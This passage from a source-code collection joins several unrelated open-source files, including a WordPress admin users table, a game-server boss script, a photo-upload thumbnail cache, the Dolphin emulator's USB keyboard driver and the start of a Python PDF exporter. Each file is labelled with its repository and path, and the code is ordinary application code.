if ( current_user_can( 'delete_users' ) )
$actions['delete'] = __( 'Delete' );
}
return $actions;
}
/**
* Output the controls to allow user roles to be changed in bulk.
*
* @since 3.1.0
* @access protected
*
* @param string $which Whether this is being invoked above ("top")
* or below the table ("bottom").
*/
protected function extra_tablenav( $which ) {
if ( 'top' != $which )
return;
?>
<div class="alignleft actions">
<?php if ( current_user_can( 'promote_users' ) ) : ?>
<label class="screen-reader-text" for="new_role"><?php _e( 'Change role to…' ) ?></label>
<select name="new_role" id="new_role">
<option value=""><?php _e( 'Change role to…' ) ?></option>
<?php wp_dropdown_roles(); ?>
</select>
<?php
submit_button( __( 'Change' ), 'button', 'changeit', false );
endif;
/**
* Fires just before the closing div containing the bulk role-change controls
* in the Users list table.
*
* @since 3.5.0
*/
do_action( 'restrict_manage_users' );
echo '</div>';
}
/**
* Capture the bulk action required, and return it.
*
* Overridden from the base class implementation to capture
* the role change drop-down.
*
* @since 3.1.0
* @access public
*
* @return string The bulk action required.
*/
public function current_action() {
if ( isset($_REQUEST['changeit']) && !empty($_REQUEST['new_role']) )
return 'promote';
return parent::current_action();
}
/**
* Get a list of columns for the list table.
*
* @since 3.1.0
* @access public
*
* @return array Array in which the key is the ID of the column,
* and the value is the description.
*/
public function get_columns() {
$c = array(
'cb' => '<input type="checkbox" />',
'username' => __( 'Username' ),
'name' => __( 'Name' ),
'email' => __( 'E-mail' ),
'role' => __( 'Role' ),
'posts' => __( 'Posts' )
);
if ( $this->is_site_users )
unset( $c['posts'] );
return $c;
}
/**
* Get a list of sortable columns for the list table.
*
* @since 3.1.0
* @access protected
*
* @return array Array of sortable columns.
*/
protected function get_sortable_columns() {
$c = array(
'username' => 'login',
'name' => 'name',
'email' => 'email',
);
if ( $this->is_site_users )
unset( $c['posts'] );
return $c;
}
/**
* Generate the list table rows.
*
* @since 3.1.0
* @access public
*/
public function display_rows() {
// Query the post counts for this page
if ( ! $this->is_site_users )
$post_counts = count_many_users_posts( array_keys( $this->items ) );
$editable_roles = array_keys( get_editable_roles() );
foreach ( $this->items as $userid => $user_object ) {
if ( count( $user_object->roles ) <= 1 ) {
$role = reset( $user_object->roles );
} elseif ( $roles = array_intersect( array_values( $user_object->roles ), $editable_roles ) ) {
$role = reset( $roles );
} else {
$role = reset( $user_object->roles );
}
if ( is_multisite() && empty( $user_object->allcaps ) )
continue;
echo "\n\t" . $this->single_row( $user_object, $style = '', $role, isset( $post_counts ) ? $post_counts[ $userid ] : 0 );
}
}
/**
* Generate HTML for a single row on the users.php admin panel.
*
* @since 3.1.0
* @since 4.2.0 `$style` argument was deprecated.
* @access public
*
* @param object $user_object The current user object.
* @param string $style Deprecated. Not used.
* @param string $role Optional. Key for the $wp_roles array. Default empty.
* @param int $numposts Optional. Post count to display for this user. Defaults
* to zero, as in, a new user has made zero posts.
* @return string Output for a single row.
*/
public function single_row( $user_object, $style = '', $role = '', $numposts = 0 ) {
global $wp_roles;
if ( !( is_object( $user_object ) && is_a( $user_object, 'WP_User' ) ) )
$user_object = get_userdata( (int) $user_object );
$user_object->filter = 'display';
$email = $user_object->user_email;
if ( $this->is_site_users )
$url = "site-users.php?id={$this->site_id}&";
else
$url = 'users.php?';
$checkbox = '';
// Check if the user for this row is editable
if ( current_user_can( 'list_users' ) ) {
// Set up the user editing link
$edit_link = esc_url( add_query_arg( 'wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), get_edit_user_link( $user_object->ID ) ) );
// Set up the hover actions for this user
$actions = array();
if ( current_user_can( 'edit_user', $user_object->ID ) ) {
$edit = "<strong><a href=\"$edit_link\">$user_object->user_login</a></strong><br />";
$actions['edit'] = '<a href="' . $edit_link . '">' . __( 'Edit' ) . '</a>';
} else {
$edit = "<strong>$user_object->user_login</strong><br />";
}
if ( !is_multisite() && get_current_user_id() != $user_object->ID && current_user_can( 'delete_user', $user_object->ID ) )
$actions['delete'] = "<a class='submitdelete' href='" . wp_nonce_url( "users.php?action=delete&user=$user_object->ID", 'bulk-users' ) . "'>" . __( 'Delete' ) . "</a>";
if ( is_multisite() && get_current_user_id() != $user_object->ID && current_user_can( 'remove_user', $user_object->ID ) )
$actions['remove'] = "<a class='submitdelete' href='" . wp_nonce_url( $url."action=remove&user=$user_object->ID", 'bulk-users' ) . "'>" . __( 'Remove' ) . "</a>";
/**
* Filter the action links displayed under each user in the Users list table.
*
* @since 2.8.0
*
* @param array $actions An array of action links to be displayed.
* Default 'Edit', 'Delete' for single site, and
* 'Edit', 'Remove' for Multisite.
* @param WP_User $user_object WP_User object for the currently-listed user.
*/
$actions = apply_filters( 'user_row_actions', $actions, $user_object );
$edit .= $this->row_actions( $actions );
// Set up the checkbox ( because the user is editable, otherwise it's empty )
$checkbox = '<label class="screen-reader-text" for="cb-select-' . $user_object->ID . '">' . sprintf( __( 'Select %s' ), $user_object->user_login ) . '</label>'
. "<input type='checkbox' name='users[]' id='user_{$user_object->ID}' class='$role' value='{$user_object->ID}' />";
} else {
$edit = '<strong>' . $user_object->user_login . '</strong>';
}
$role_name = isset( $wp_roles->role_names[$role] ) ? translate_user_role( $wp_roles->role_names[$role] ) : __( 'None' );
$avatar = get_avatar( $user_object->ID, 32 );
$r = "<tr id='user-$user_object->ID'>";
list( $columns, $hidden ) = $this->get_column_info();
foreach ( $columns as $column_name => $column_display_name ) {
$class = "class=\"$column_name column-$column_name\"";
$style = '';
if ( in_array( $column_name, $hidden ) )
$style = ' style="display:none;"';
$attributes = "$class$style";
switch ( $column_name ) {
case 'cb':
$r .= "<th scope='row' class='check-column'>$checkbox</th>";
break;
case 'username':
$r .= "<td $attributes>$avatar $edit</td>";
break;
case 'name':
$r .= "<td $attributes>$user_object->first_name $user_object->last_name</td>";
break;
case 'email':
$r .= "<td $attributes><a href='mailto:$email' title='" . esc_attr( sprintf( __( 'E-mail: %s' ), $email ) ) . "'>$email</a></td>";
break;
case 'role':
$r .= "<td $attributes>$role_name</td>";
break;
case 'posts':
$attributes = 'class="posts column-posts num"' . $style;
$r .= "<td $attributes>";
if ( $numposts > 0 ) {
$r .= "<a href='edit.php?author=$user_object->ID' title='" . esc_attr__( 'View posts by this author' ) . "' class='edit'>";
$r .= $numposts;
$r .= '</a>';
} else {
$r .= 0;
}
$r .= "</td>";
break;
default:
$r .= "<td $attributes>";
/**
* Filter the display output of custom columns in the Users list table.
*
* @since 2.8.0
*
* @param string $output Custom column output. Default empty.
* @param string $column_name Column name.
* @param int $user_id ID of the currently-listed user.
*/
$r .= apply_filters( 'manage_users_custom_column', '', $column_name, $user_object->ID );
$r .= "</td>";
}
}
$r .= '</tr>';
return $r;
}
}
| najamelan/WordPress | wp-admin/includes/class-wp-users-list-table.php | PHP | gpl-2.0 | 13,263 |
<?php
if(!defined('USE_SOCIAL') || !USE_SOCIAL ) return;
require_once dirname( __FILE__ ).'/social_auth.php';
require_once dirname( __FILE__ ).'/twitter.php';
require_once dirname( __FILE__ ).'/facebook.php';
require_once dirname( __FILE__ ).'/google.php';
require_once dirname( __FILE__ ).'/linkedin.php';
require_once dirname( __FILE__ ).'/settings.php';
require_once dirname( __FILE__ ).'/template.php';
| thedonking/alllancer | wp-content/themes/freelanceengine-2/includes/aecore/social/index.php | PHP | gpl-2.0 | 408 |
package fr.skyforce77.towerminer.server.commands;
import fr.skyforce77.towerminer.TowerMiner;
import fr.skyforce77.towerminer.protocol.Protocol;
import fr.skyforce77.towerminer.server.Server;
import fr.skyforce77.towerminer.server.players.Player;
public class CommandVersion extends Command {
@Override
public void onTyped(Player p, String[] args) {
p.sendMessage("TMServer: "+Server.version);
p.sendMessage("Protocol: "+Protocol.version);
p.sendMessage("TowerMiner: "+TowerMiner.version);
}
@Override
public boolean isCorrect(String[] args) {
if(args.length == 1 && args[0].equals("")) {
return true;
}
return false;
}
}
| skyforce77/TMServer | TMServer/src/fr/skyforce77/towerminer/server/commands/CommandVersion.java | Java | gpl-2.0 | 649 |
/* Copyright (C) 2006 - 2009 ScriptDev2 <https://scriptdev2.svn.sourceforge.net/>
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
/* ScriptData
SDName: Boss_Galvangar
SD%Complete:
SDComment: timers should be adjusted
EndScriptData */
#include "precompiled.h"
#define YELL_AGGRO -2100021
#define YELL_EVADE -2100022
#define SPELL_CLEAVE 15284
#define SPELL_FRIGHTENING_SHOUT 19134
#define SPELL_WHIRLWIND1 15589
#define SPELL_WHIRLWIND2 13736
#define SPELL_MORTAL_STRIKE 16856
struct MANGOS_DLL_DECL boss_galvangarAI : public ScriptedAI
{
boss_galvangarAI(Creature *c) : ScriptedAI(c) {}
uint32 CleaveTimer;
uint32 FrighteningShoutTimer;
uint32 Whirlwind1Timer;
uint32 Whirlwind2Timer;
uint32 MortalStrikeTimer;
uint32 ResetTimer;
void Reset()
{
CleaveTimer = (1+rand()%10)*1000;
FrighteningShoutTimer = (2+rand()%18)*1000;
Whirlwind1Timer = (1+rand()%12)*1000;
Whirlwind2Timer = (5+rand()%15)*1000;
MortalStrikeTimer = (5+rand()%20)*1000;
ResetTimer = 5000;
}
void Aggro(Unit *who)
{
DoScriptText(YELL_AGGRO, m_creature);
}
void JustRespawned()
{
//InCombat = false;
if (!IsCombatMovement())
SetCombatMovement(true);
Reset();
}
void KilledUnit(Unit* victim)
{
}
void JustDied(Unit* Killer)
{
}
void UpdateAI(const uint32 diff)
{
//if(!UpdateVictim())
// return;
if (!m_creature->SelectHostileTarget() || !m_creature->getVictim())
return;
if (CleaveTimer < diff)
{
DoCast(m_creature->getVictim(), SPELL_CLEAVE);
CleaveTimer = (10+rand()%6)*1000;
}
else
CleaveTimer -= diff;
if (FrighteningShoutTimer < diff)
{
DoCast(m_creature->getVictim(), SPELL_FRIGHTENING_SHOUT);
FrighteningShoutTimer = (10+rand()%5)*1000;
}
else
FrighteningShoutTimer -= diff;
if (Whirlwind1Timer < diff)
{
DoCast(m_creature->getVictim(), SPELL_WHIRLWIND1);
Whirlwind1Timer = (6+rand()%14)*1000;
}
else
Whirlwind1Timer -= diff;
if (Whirlwind2Timer < diff)
{
DoCast(m_creature->getVictim(), SPELL_WHIRLWIND2);
Whirlwind2Timer = (10+rand()%15)*1000;
}
else
Whirlwind2Timer -= diff;
if (MortalStrikeTimer < diff)
{
DoCast(m_creature->getVictim(), SPELL_MORTAL_STRIKE);
MortalStrikeTimer = (10+rand()%20)*1000;
}
else
MortalStrikeTimer -= diff;
// check if creature is not outside of building
if (ResetTimer < diff)
{
float x, y, z;
m_creature->GetPosition(x, y, z);
if (x > -504)
{
DoScriptText(YELL_EVADE, m_creature);
EnterEvadeMode();
}
ResetTimer = 5000;
}
else
ResetTimer -= diff;
DoMeleeAttackIfReady();
}
};
CreatureAI* GetAI_boss_galvangar(Creature *_Creature)
{
return new boss_galvangarAI (_Creature);
}
void AddSC_boss_galvangar()
{
Script *newscript;
newscript = new Script;
newscript->Name = "boss_galvangar";
newscript->GetAI = &GetAI_boss_galvangar;
newscript->RegisterSelf();
}
| casso/Mysteria4 | src/bindings/scriptdev2/scripts/battlegrounds/alterac_valley/boss_galvangar.cpp | C++ | gpl-2.0 | 4,235 |
/*
* Gallery Remote - a File Upload Utility for Gallery
*
* Gallery - a web based photo album viewer and editor
* Copyright (C) 2000-2001 Bharat Mediratta
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or (at
* your option) any later version.
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*/
package com.gallery.GalleryRemote;
import com.gallery.GalleryRemote.model.Picture;
import com.gallery.GalleryRemote.util.GRI18n;
import com.gallery.GalleryRemote.util.ImageUtils;
import javax.imageio.ImageIO;
import javax.imageio.ImageReader;
import javax.imageio.IIOException;
import javax.imageio.stream.ImageInputStream;
import java.awt.*;
import java.awt.image.BufferedImage;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Stack;
import java.io.IOException;
import java.net.URLConnection;
/**
* Thumbnail cache loads and resizes images in the background for display in
* the list of Pictures
*
* @author paour
*/
public class ThumbnailCache implements Runnable {
public static final String MODULE = "ThumbCache";
boolean stillRunning = false;
Stack toLoad = new Stack();
HashMap thumbnails = new HashMap();
/**
* Main processing method for the ThumbnailLoader object
*/
public void run() {
Thread.yield();
int loaded = 0;
GalleryRemote._().getCore().getMainStatusUpdate().startProgress(StatusUpdate.LEVEL_CACHE, 0, toLoad.size(), GRI18n.getString(MODULE, "loadThmb"), false);
//Log.log(Log.TRACE, MODULE, "Starting " + iFilename);
while (!toLoad.isEmpty()) {
Picture p = (Picture) toLoad.pop();
Image i = null;
if (!thumbnails.containsKey(p)) {
if (p.isOnline()) {
Log.log(Log.LEVEL_TRACE, MODULE, "Fetching thumbnail " + p.getUrlThumbnail());
try {
URLConnection conn = ImageUtils.openUrlConnection(p.getUrlThumbnail(), p);
conn.connect();
ImageReader reader = (ImageReader) ImageIO.getImageReadersByFormatName("jpeg").next();
ImageInputStream inputStream = ImageIO.createImageInputStream(conn.getInputStream());
reader.setInput(inputStream);
i = reader.read(0);
reader.dispose();
} catch (IIOException e) {
Log.logException(Log.LEVEL_ERROR, MODULE, e);
} catch (IOException e) {
Log.logException(Log.LEVEL_ERROR, MODULE, e);
}
if (i != null) {
Image scaled;
Dimension newD = ImageUtils.getSizeKeepRatio(
new Dimension(((BufferedImage) i).getWidth(), ((BufferedImage) i).getHeight()),
GalleryRemote._().properties.getThumbnailSize(), true);
if (newD != null) {
scaled = i.getScaledInstance(newD.width, newD.height, Image.SCALE_FAST);
i.flush();
i = scaled;
}
} else {
i = ImageUtils.unrecognizedThumbnail;
}
} else {
i = ImageUtils.load(
p.getSource().getPath(),
GalleryRemote._().properties.getThumbnailSize(),
ImageUtils.THUMB);
}
thumbnails.put(p, i);
loaded++;
Log.log(Log.LEVEL_TRACE, MODULE, "update progress " + loaded + "/" + (loaded + toLoad.size()));
GalleryRemote._().getCore().getMainStatusUpdate().updateProgressValue(StatusUpdate.LEVEL_CACHE, loaded, loaded + toLoad.size());
GalleryRemote._().getCore().thumbnailLoadedNotify();
}
}
stillRunning = false;
GalleryRemote._().getCore().getMainStatusUpdate().stopProgress(StatusUpdate.LEVEL_CACHE, GRI18n.getString(MODULE, "thmbLoaded"));
//Log.log(Log.TRACE, MODULE, "Ending");
}
/**
* Ask for the thumbnail to be loaded as soon as possible
*/
public void preloadThumbnailFirst(Picture p) {
Log.log(Log.LEVEL_TRACE, MODULE, "preloadThumbnailFirst " + p);
if (!thumbnails.containsKey(p)) {
toLoad.push(p);
rerun();
}
}
/**
* Ask for several thumnails to be loaded
*
* @param pictures enumeration of Picture objects that should be loaded
*/
public void preloadThumbnails(Iterator pictures) {
Log.log(Log.LEVEL_TRACE, MODULE, "preloadThumbnails");
while (pictures.hasNext()) {
Picture p = (Picture) pictures.next();
if (!thumbnails.containsKey(p)) {
toLoad.add(0, p);
}
}
rerun();
}
public void reload() {
Iterator it = ((HashMap) thumbnails.clone()).keySet().iterator();
thumbnails.clear();
preloadThumbnails(it);
}
public void flushMemory() {
Iterator it = thumbnails.values().iterator();
while (it.hasNext()) {
Image i = (Image) it.next();
if (i != null) {
i.flush();
}
}
thumbnails.clear();
}
void rerun() {
if (!stillRunning && GalleryRemote._().properties.getShowThumbnails()) {
stillRunning = true;
Log.log(Log.LEVEL_TRACE, MODULE, "Calling Start");
new Thread(this).start();
}
}
void cancelLoad() {
toLoad.clear();
}
/**
* Retrieves a thumbnail from the thumbnail cache
*
* @return The thumbnail object
*/
public Image getThumbnail(Picture p) {
return (Image) thumbnails.get(p);
}
}
| gallery/gallery-remote | com/gallery/GalleryRemote/ThumbnailCache.java | Java | gpl-2.0 | 5,492 |
// Copyright 2009 Dolphin Emulator Project
// Licensed under GPLv2+
// Refer to the license.txt file included.
#include <cstring>
#include "Common/CommonFuncs.h"
#include "Common/FileUtil.h"
#include "Common/IniFile.h"
#include "Common/Logging/Log.h"
#include "Core/ConfigManager.h"
#include "Core/Core.h" // Local core functions
#include "Core/HW/Memmap.h"
#include "Core/IOS/USB/USB_KBD.h"
#ifdef _WIN32
#include <windows.h>
#endif
namespace IOS
{
namespace HLE
{
namespace Device
{
USB_KBD::SMessageData::SMessageData(u32 type, u8 modifiers, u8* pressed_keys)
{
MsgType = Common::swap32(type);
Unk1 = 0; // swapped
Modifiers = modifiers;
Unk2 = 0;
if (pressed_keys) // Doesn't need to be in a specific order
memcpy(PressedKeys, pressed_keys, sizeof(PressedKeys));
else
memset(PressedKeys, 0, sizeof(PressedKeys));
}
// TODO: support in netplay/movies.
USB_KBD::USB_KBD(u32 device_id, const std::string& device_name) : Device(device_id, device_name)
{
}
ReturnCode USB_KBD::Open(const OpenRequest& request)
{
INFO_LOG(IOS, "USB_KBD: Open");
IniFile ini;
ini.Load(File::GetUserPath(F_DOLPHINCONFIG_IDX));
ini.GetOrCreateSection("USB Keyboard")->Get("Layout", &m_KeyboardLayout, KBD_LAYOUT_QWERTY);
m_MessageQueue = std::queue<SMessageData>();
for (bool& pressed : m_OldKeyBuffer)
{
pressed = false;
}
m_OldModifiers = 0x00;
// m_MessageQueue.push(SMessageData(MSG_KBD_CONNECT, 0, nullptr));
m_is_active = true;
return IPC_SUCCESS;
}
IPCCommandResult USB_KBD::IOCtl(const IOCtlRequest& request)
{
if (SConfig::GetInstance().m_WiiKeyboard && !Core::g_want_determinism && !m_MessageQueue.empty())
{
Memory::CopyToEmu(request.buffer_out, &m_MessageQueue.front(), sizeof(SMessageData));
m_MessageQueue.pop();
}
return GetDefaultReply(IPC_SUCCESS);
}
bool USB_KBD::IsKeyPressed(int _Key)
{
#ifdef _WIN32
if (GetAsyncKeyState(_Key) & 0x8000)
return true;
else
return false;
#else
// TODO: do it for non-Windows platforms
return false;
#endif
}
void USB_KBD::Update()
{
if (!SConfig::GetInstance().m_WiiKeyboard || Core::g_want_determinism || !m_is_active)
return;
u8 Modifiers = 0x00;
u8 PressedKeys[6] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
bool GotEvent = false;
int num_pressed_keys = 0;
for (int i = 0; i < 256; i++)
{
bool KeyPressedNow = IsKeyPressed(i);
bool KeyPressedBefore = m_OldKeyBuffer[i];
u8 KeyCode = 0;
if (KeyPressedNow ^ KeyPressedBefore)
{
if (KeyPressedNow)
{
switch (m_KeyboardLayout)
{
case KBD_LAYOUT_QWERTY:
KeyCode = m_KeyCodesQWERTY[i];
break;
case KBD_LAYOUT_AZERTY:
KeyCode = m_KeyCodesAZERTY[i];
break;
}
if (KeyCode == 0x00)
continue;
PressedKeys[num_pressed_keys] = KeyCode;
num_pressed_keys++;
if (num_pressed_keys == 6)
break;
}
GotEvent = true;
}
m_OldKeyBuffer[i] = KeyPressedNow;
}
#ifdef _WIN32
if (GetAsyncKeyState(VK_LCONTROL) & 0x8000)
Modifiers |= 0x01;
if (GetAsyncKeyState(VK_LSHIFT) & 0x8000)
Modifiers |= 0x02;
if (GetAsyncKeyState(VK_MENU) & 0x8000)
Modifiers |= 0x04;
if (GetAsyncKeyState(VK_LWIN) & 0x8000)
Modifiers |= 0x08;
if (GetAsyncKeyState(VK_RCONTROL) & 0x8000)
Modifiers |= 0x10;
if (GetAsyncKeyState(VK_RSHIFT) & 0x8000)
Modifiers |= 0x20;
if (GetAsyncKeyState(VK_MENU) &
0x8000) // TODO: VK_MENU is for ALT, not for ALT GR (ALT GR seems to work though...)
Modifiers |= 0x40;
if (GetAsyncKeyState(VK_RWIN) & 0x8000)
Modifiers |= 0x80;
#else
// TODO: modifiers for non-Windows platforms
#endif
if (Modifiers ^ m_OldModifiers)
{
GotEvent = true;
m_OldModifiers = Modifiers;
}
if (GotEvent)
m_MessageQueue.push(SMessageData(MSG_EVENT, Modifiers, PressedKeys));
}
// Crazy ugly
#ifdef _WIN32
u8 USB_KBD::m_KeyCodesQWERTY[256] = {
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x2A, // Backspace
0x2B, // Tab
0x00, 0x00,
0x00, // Clear
0x28, // Return
0x00, 0x00,
0x00, // Shift
0x00, // Control
0x00, // ALT
0x48, // Pause
0x39, // Capital
0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x29, // Escape
0x00, 0x00, 0x00, 0x00,
0x2C, // Space
0x4B, // Prior
0x4E, // Next
0x4D, // End
0x4A, // Home
0x50, // Left
0x52, // Up
0x4F, // Right
0x51, // Down
0x00, 0x00, 0x00,
0x46, // Print screen
0x49, // Insert
0x4C, // Delete
0x00,
// 0 -> 9
0x27, 0x1E, 0x1F, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00,
// A -> Z
0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10, 0x11, 0x12, 0x13,
0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x00, 0x00, 0x00, 0x00, 0x00,
// Numpad 0 -> 9
0x62, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F, 0x60, 0x61,
0x55, // Multiply
0x57, // Add
0x00, // Separator
0x56, // Subtract
0x63, // Decimal
0x54, // Divide
// F1 -> F12
0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F, 0x40, 0x41, 0x42, 0x43, 0x44, 0x45,
// F13 -> F24
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x53, // Numlock
0x47, // Scroll lock
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
// Modifier keys
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x33, // ';'
0x2E, // Plus
0x36, // Comma
0x2D, // Minus
0x37, // Period
0x38, // '/'
0x35, // '~'
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x2F, // '['
0x32, // '\'
0x30, // ']'
0x34, // '''
0x00, //
0x00, // Nothing interesting past this point.
};
u8 USB_KBD::m_KeyCodesAZERTY[256] = {
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x2A, // Backspace
0x2B, // Tab
0x00, 0x00,
0x00, // Clear
0x28, // Return
0x00, 0x00,
0x00, // Shift
0x00, // Control
0x00, // ALT
0x48, // Pause
0x39, // Capital
0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x29, // Escape
0x00, 0x00, 0x00, 0x00,
0x2C, // Space
0x4B, // Prior
0x4E, // Next
0x4D, // End
0x4A, // Home
0x50, // Left
0x52, // Up
0x4F, // Right
0x51, // Down
0x00, 0x00, 0x00,
0x46, // Print screen
0x49, // Insert
0x4C, // Delete
0x00,
// 0 -> 9
0x27, 0x1E, 0x1F, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00,
// A -> Z
0x14, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x33, 0x11, 0x12, 0x13,
0x04, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1D, 0x1B, 0x1C, 0x1A, 0x00, 0x00, 0x00, 0x00, 0x00,
// Numpad 0 -> 9
0x62, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F, 0x60, 0x61,
0x55, // Multiply
0x57, // Add
0x00, // Separator
0x56, // Substract
0x63, // Decimal
0x54, // Divide
// F1 -> F12
0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F, 0x40, 0x41, 0x42, 0x43, 0x44, 0x45,
// F13 -> F24
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x53, // Numlock
0x47, // Scroll lock
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
// Modifier keys
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x30, // '$'
0x2E, // Plus
0x10, // Comma
0x00, // Minus
0x36, // Period
0x37, // '/'
0x34, // ' '
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x2D, // ')'
0x32, // '\'
0x2F, // '^'
0x00, // ' '
0x38, // '!'
0x00, // Nothing interesting past this point.
};
#else
u8 USB_KBD::m_KeyCodesQWERTY[256] = {0};
u8 USB_KBD::m_KeyCodesAZERTY[256] = {0};
#endif
} // namespace Device
} // namespace HLE
} // namespace IOS
| EmptyChaos/dolphin | Source/Core/Core/IOS/USB/USB_KBD.cpp | C++ | gpl-2.0 | 8,527 |
# -*- coding: utf-8 -*-
"""
AllDb
Eksportowanie danych do pliku pdf
"""
from __future__ import with_statement
__author__ = "Karol Będkowski"
__copyright__ = "Copyright (c) Karol Będkowski, 2009-2010"
__version__ = "2010-06-11"
import logging
from cStringIO import StringIO
from alldb.model import objects
from alldb.libs.appconfig import AppConfig
_LOG = logging.getLogger(__name__)
# próba załadowania reportlab
try:
from reportlab.platypus import (SimpleDocTemplate, Table, Paragraph,
TableStyle, Spacer, Image)
from reportlab.rl_config import defaultPageSize
from reportlab.lib import colors
from reportlab.lib.units import cm, inch
from reportlab.lib.styles import getSampleStyleSheet, ParagraphStyle
from reportlab.lib.enums import TA_CENTER, TA_LEFT
from reportlab.pdfbase import pdfmetrics
from reportlab.pdfbase.ttfonts import TTFont
except ImportError:
_LOG.warn('reportlab not available')
PDF_AVAILABLE = False
else:
_LOG.info('reportlab loaded')
PDF_AVAILABLE = True
_MARGIN_TOP = 0.5 * cm
_MARGIN_BOTTOM = 1 * cm
_MARGIN_LEFT = _MARGIN_RIGHT = 0.5 * cm
def _my_page(canvas, doc):
# strona - numer
canvas.saveState()
canvas.setFont('FreeSans', 6)
canvas.drawString(defaultPageSize[0] / 2, _MARGIN_BOTTOM, "%d" % doc.page)
canvas.restoreState()
def export_pdf_list(filename, cls, items):
''' exportowanie danych
@filename ścieżka do pliku
@cls klasa do eksportu
@items lista elementów do eksportu'''
_create_document(filename, cls, items, _create_pdf_list)
def export_pdf_all(filename, cls, items):
''' exportowanie danych
@filename ścieżka do pliku
@cls klasa do eksportu
@items lista elementów do eksportu'''
_create_document(filename, cls, items, _create_pdf_all)
def _prepare_styles():
styles = {}
stylesheet = getSampleStyleSheet()
style = ParagraphStyle("Normal", stylesheet['Normal'])
style.alignment = TA_LEFT
style.fontSize = 6
style.fontName = 'FreeSans'
style.leading = 8
styles['Normal'] = style
style = ParagraphStyle("ItemTitle", stylesheet['Heading1'])
style.alignment = TA_LEFT
style.fontSize = 8
style.fontName = 'FreeSansBold'
style.fontSize = 10
styles['ItemTitle'] = style
style = ParagraphStyle("Heading", stylesheet['Heading2'])
style.alignment = TA_CENTER
style.fontSize = 6
style.fontName = 'FreeSansBold'
styles['Heading'] = style
style = ParagraphStyle("FieldHead", stylesheet['Heading2'])
style.alignment = TA_LEFT
style.fontSize = 6
style.fontName = 'FreeSansBold'
style.leading = 8
styles['FieldHead'] = style
return styles
def _create_document(filename, cls, items, method):
try:
appconfig = AppConfig()
pdfmetrics.registerFont(TTFont('FreeSans',
appconfig.get_data_file('fonts/freesans.ttf')))
pdfmetrics.registerFont(TTFont('FreeSansBold',
appconfig.get_data_file('fonts/freesansbold.ttf')))
doc = SimpleDocTemplate(filename, leftMargin=_MARGIN_LEFT,
rightMargin=_MARGIN_RIGHT, topMargin=_MARGIN_TOP,
bottomMargin=_MARGIN_BOTTOM, pageCompression=9)
pages = list(method(cls, items))
doc.build(pages, onLaterPages=_my_page, onFirstPage=_my_page)
except RuntimeError:
_LOG.exception('create_pdf error. file=%s', filename)
raise
def _create_pdf_list(cls, items):
styles = _prepare_styles()
style_header = styles['Heading']
style_normal = styles['Normal']
fields = list(cls.fields_in_list)
data = [[Paragraph(objects.get_field_name_human(field), style_header)
